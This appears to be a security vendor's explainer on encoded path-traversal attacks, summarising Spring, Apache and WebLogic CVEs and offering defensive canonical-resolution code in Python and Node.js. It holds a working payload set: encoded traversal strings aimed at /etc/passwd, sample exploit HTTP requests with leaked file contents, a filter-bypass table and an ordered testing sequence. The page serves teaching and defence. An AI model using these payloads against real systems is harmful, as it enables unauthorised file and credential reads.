URL-encodes traversal sequences (%2e%2e%2f, ..%2f) to bypass input filters that block literal ../ patterns in filenames.
TL;DR
%2e%2e%2f bypassed static resource path checksEncoded path traversal exploits the gap between the point where user input is validated and the point where it is used. A filter that checks for the literal string ../ passes all encoded representations of the same sequence, because the filter operates on the encoded form while the filesystem operates on the decoded form.
The vulnerability class targets multi-tier systems where input passes through multiple processing layers: a reverse proxy or WAF that decodes once, then an application that decodes again, then a filesystem that receives the final decoded path. Each decode boundary is a potential bypass opportunity. An attacker who understands which layer validates and which layer uses the input can craft an encoding that passes validation in encoded form and resolves to a traversal sequence after decoding.
Under CWE-22 and OWASP A01:2021, this variant is particularly dangerous because it renders denylist-based path traversal filters ineffective as a complete class. Any system that validates input before decoding, or that does not decode to canonical form before validation, is vulnerable. CVE-2024-38819 (Spring Framework, 2024) and the Apache mod_rewrite confusion attack cluster (Orange Tsai, DEF CON 32, 2024) both demonstrate that major enterprise frameworks ship with this class of vulnerability.
The attack exploits the gap between encoded input (seen by validators) and decoded output (seen by the filesystem):
Literal: ../../../etc/passwd
URL encoded: %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Double encoded: %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Mixed: ..%2f..%2fetc%2fpasswd
Overlong UTF-8: ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Full-width: ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
Nested: ....//....//....//etc/passwdGET /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: spring-app.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinGET /download?file=..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: app.example.com
X-Forwarded-For: 1.2.3.4
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bashThe double-encoding attack chain: %252f → first decode gives %2f (WAF sees %2f, not /, passes) → second decode inside the application gives /. The WAF was checking for the literal string ../ or %2f but not for %252f.
| Encoding Class | Payload Representation | Bypasses |
|---|---|---|
| Literal | ../../../etc/passwd | No filter |
| Single URL | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Literal ../ filter |
| Dots encoded | %2e%2e/%2e%2e/%2e%2e/etc/passwd | Dot-blocking filter |
| Full encode | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | Partial encoding filters |
| Double encode | %252e%252e%252f%252e%252e%252f%252e%252e%252f | Single-decode WAF |
| Double encode v2 | ..%252f..%252f..%252fetc%252fpasswd | Single-decode WAF, dots allowed |
| Overlong UTF-8 v1 | ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd | Standard UTF-8 decoders |
| Overlong UTF-8 v2 | ..%c1%9c..%c1%9c..%c1%9c | Legacy IIS, custom parsers |
| Full-width solidus | ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f | Unicode normalization after validation |
| Nested traversal | ....//....//....//etc/passwd | Single-pass ../ strip |
| Nested v2 | ....\/....\/....\/etc/passwd | Single-pass ..\ strip |
| Mixed slash | ../\../\..\etc/passwd | Platform-specific filters |
| Backslash encoded | ..%5c..%5c..%5c | Windows, slash-only filter |
| Double-null encoded | ..%2500/../../../etc/passwd | Null byte + double encode |
Single URL encoding (%2e%2e%2f) defeats filters using string comparison for the literal sequence ../. The filter does not decode before checking.
Double URL encoding (%252e%252e%252f) defeats single-decode middleware. A WAF decodes %25 to % and %252f to %2f. The WAF sees %2f (an encoded slash), not a traversal pattern. The application's web framework then decodes %2f to / during normal URL processing.
Overlong UTF-8 (..%c0%af) exploits decoders that accept overlong multi-byte encodings of characters that have valid single-byte representations. The character / (U+002F) requires only one byte in valid UTF-8 (%2f). An overlong two-byte sequence %c0%af is technically invalid UTF-8 but was accepted by Microsoft IIS 4.0/5.0 and remains accepted by some custom parsers and embedded HTTP stacks.
Nested traversal (....//) bypasses single-pass string replacement. The filter input.replace("../", "") transforms ....// to ../ in one pass — but does not run again on the result. Recursive application of the same filter eventually produces an empty string, but most implementations stop after one pass.
CVE-2024-38819 — Spring Framework Static Resources (CVSS 7.5): Applications using Spring Framework's functional web framework (WebMvc.fn or WebFlux.fn) to serve static resources from FileSystemResource locations were vulnerable to double URL-encoded path traversal. Attackers sent GET /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd — Spring decoded %2e%2e%2f to ../ during URL processing and resolved the path outside the configured resource directory. A public PoC was released shortly after disclosure. Affects Spring 5.3.x before 5.3.41, 6.0.x before 6.0.25, 6.1.x before 6.1.14. Spring Security's HTTP Firewall blocks these requests when configured, but many deployments do not use Spring Security's request validation. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
CVE-2024-38474 / CVE-2024-38475 — Apache HTTP Server mod_rewrite (CVSS 9.1): Orange Tsai's "Confusion Attacks" research, presented at DEF CON 32 and Black Hat USA 2024, documented 9 CVEs and 20 exploitation techniques across Apache HTTP Server. CVE-2024-38474 exploited encoded question marks (%3F) in mod_rewrite backreferences to cause path truncation, bypassing access restrictions and enabling potential RCE via script execution outside the web root. CVE-2024-38475 allowed RewriteRule targets with filesystem path matching to escape the document root through specially crafted URIs. Apache 2.4.60 patches the entire class; the UnsafeAllow3F flag is required for legacy RewriteRules after patching.
CVE-2020-14882 — Oracle WebLogic Encoded Traversal to Auth Bypass (CVSS 9.8): Double-encoded path traversal (%2F%2F%2F) in the Oracle WebLogic console admin URL bypassed authentication entirely, allowing unauthenticated access to the management console. This was then chained with CVE-2020-14883 (MVEL expression evaluation) to achieve unauthenticated RCE — a textbook example of encoded traversal as the first step in an exploitation chain.
../ payload to establish a baseline. If it succeeds, no encoding bypass is needed.. with %2e and / with %2f.% in the single-encoded payload with %25. Test both %252e%252e%252f and ..%252f...%2f..%2fetc%2fpasswd (only the slash encoded).....//....//....//etc/passwd...%c0%af..%c0%af..%c0%afetc%c0%afpasswd...%ef%bc%8f..%ef%bc%8f..%ef%bc%8f.BreachVex tests 22 variants from its traversal payload set, including both single and double encoded forms, overlong UTF-8 variants (%c0%af, %c1%9c), full-width solidus (%ef%bc%8f), and nested sequences (....//). Content gate validation (HTTP 200 + body ≥ 10 bytes + marker regex) prevents false positives from servers that return 200 for all paths. The finding severity is set to HIGH for file read and CRITICAL for /etc/shadow or credential files.
import os
from urllib.parse import unquote
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(raw_input: str) -> bytes:
# Decode any percent-encoding in the user input
decoded = unquote(raw_input)
# Double-decode to handle double-encoded payloads
decoded = unquote(decoded)
# Join with base directory
full_path = os.path.join(BASE_DIR, decoded)
# Canonical resolution — resolves .., symlinks, and all OS-level normalization
resolved = os.path.realpath(full_path)
# Validate the resolved path is within the base
if not resolved.startswith(BASE_DIR + os.sep):
raise PermissionError("Path traversal blocked")
with open(resolved, "rb") as f:
return f.read()The key principle: do not validate the raw or partially-decoded input. Resolve to the final canonical form first, then validate. The filesystem will decode anyway — your validation must see the same path the filesystem sees.
// Node.js — decode then resolve
const path = require('path');
const fs = require('fs');
const BASE = fs.realpathSync('/app/uploads');
function safeRead(rawInput) {
// Decode percent-encoding (including potential double encoding)
const decoded = decodeURIComponent(decodeURIComponent(rawInput));
const resolved = path.resolve(BASE, decoded);
const real = fs.realpathSync(resolved);
if (!real.startsWith(BASE + path.sep)) {
throw new Error('Path traversal blocked');
}
return fs.readFileSync(real);
}WAF rules that block %2e%2e or %2f are not a complete path traversal defense. Double encoding (%252e%252e%252f) and overlong UTF-8 encoding (%c0%af) bypass these rules. A WAF can be a useful layer in defense-in-depth, but the application must implement canonical resolution and prefix validation independently of any WAF.
The table below shows documented bypasses for every common denylist approach:
Filter: block "../" → bypass: %2e%2e%2f, ....//
Filter: block "%2e" → bypass: %252e (double encode)
Filter: block "%2f" → bypass: %252f, %c0%af
Filter: strip "../" (once) → bypass: ....// → ../ after one strip
Filter: strip "../" (recursive) → bypass: mixed encoding or Unicode variants
Filter: starts-with check → bypass: /etc/passwd (absolute path)
Filter: startswith base path → bypass: include base in payload: /base/../../../etcNo combination of blacklist rules covers the complete encoding space. The correct approach is canonical resolution followed by prefix assertion — this is encoding-agnostic by design.
Encoded path traversal (CWE-22) exploits discrepancies between the layer that validates input — which sees an encoded representation — and the layer that uses it — which decodes it first. The sequence ../ can be represented as %2e%2e%2f, %252e%252e%252f, ..%c0%af, or ....// among others. A filter checking for the literal string ../ passes all these variants.
Double encoding applies URL encoding twice. The / character encodes to %2f on the first pass. Encoding %2f again produces %252f (% becomes %25). A system with two decode layers — such as a WAF that decodes once and an application that decodes again — will see %2f after the first pass, not recognize it as a blocked pattern, and then decode to / on the second pass inside the application.
CVE-2024-38819 (Spring Framework, CVSS 7.5) exploited double URL-encoded traversal sequences (%2e%2e%2f) to access files outside the configured resource directories. CVE-2024-38474 (Apache HTTP Server mod_rewrite, CVSS 9.1) used encoded question marks (%3F) in RewriteRule backreferences to cause path truncation and bypass access restrictions — discovered by Orange Tsai at DEF CON 32.
Overlong UTF-8 encoding uses more bytes than the minimum required to represent a character. The / character (U+002F) requires only one byte in valid UTF-8, but an overlong encoding uses two bytes: %c0%af. This violates the UTF-8 specification but some legacy decoders accept it. It was critical in Microsoft IIS 4.0/5.0 (MS00-078) and remains relevant in custom parsers and embedded systems.
Nested traversal bypasses filters that strip ../ once without recursing. The payload ....// becomes ../ after the filter removes the inner ../ substring. The filter does not recheck the result. This bypass works against implementations that do string replacement rather than canonical path resolution.
Spring Framework 5.3.x before 5.3.41, 6.0.x before 6.0.25, and 6.1.x before 6.1.14 were vulnerable when serving static resources via RouterFunctions (WebMvc.fn or WebFlux.fn) using FileSystemResource. Attackers sent requests with double URL-encoded traversal sequences like /static/%2e%2e%2f%2e%2e%2fetc%2fpasswd. Spring decoded the sequences and accessed files outside the configured resource directory.
Test in this order: (1) literal ../; (2) single URL encode %2e%2e%2f; (3) double URL encode %252e%252e%252f; (4) mixed encoding ..%2f; (5) non-standard Unicode ..%c0%af and ..%ef%bc%8f; (6) nested sequences ....// and ....//; (7) null byte suffix %00 if extension filtering is detected; (8) absolute path /etc/passwd without traversal. Each encoding targets a different validation failure mode.
Yes. BreachVex's extended LFI prover tests 22 payload variants covering all major encoding classes: literal traversal, single URL encoding, double encoding, overlong UTF-8 (%c0%af and %c1%9c variants), full-width solidus (%ef%bc%8f), nested sequences (....//), mixed slash/backslash, double-encoded null byte (%2500), and absolute path injection. Each variant is tested against OS-specific confirmation markers.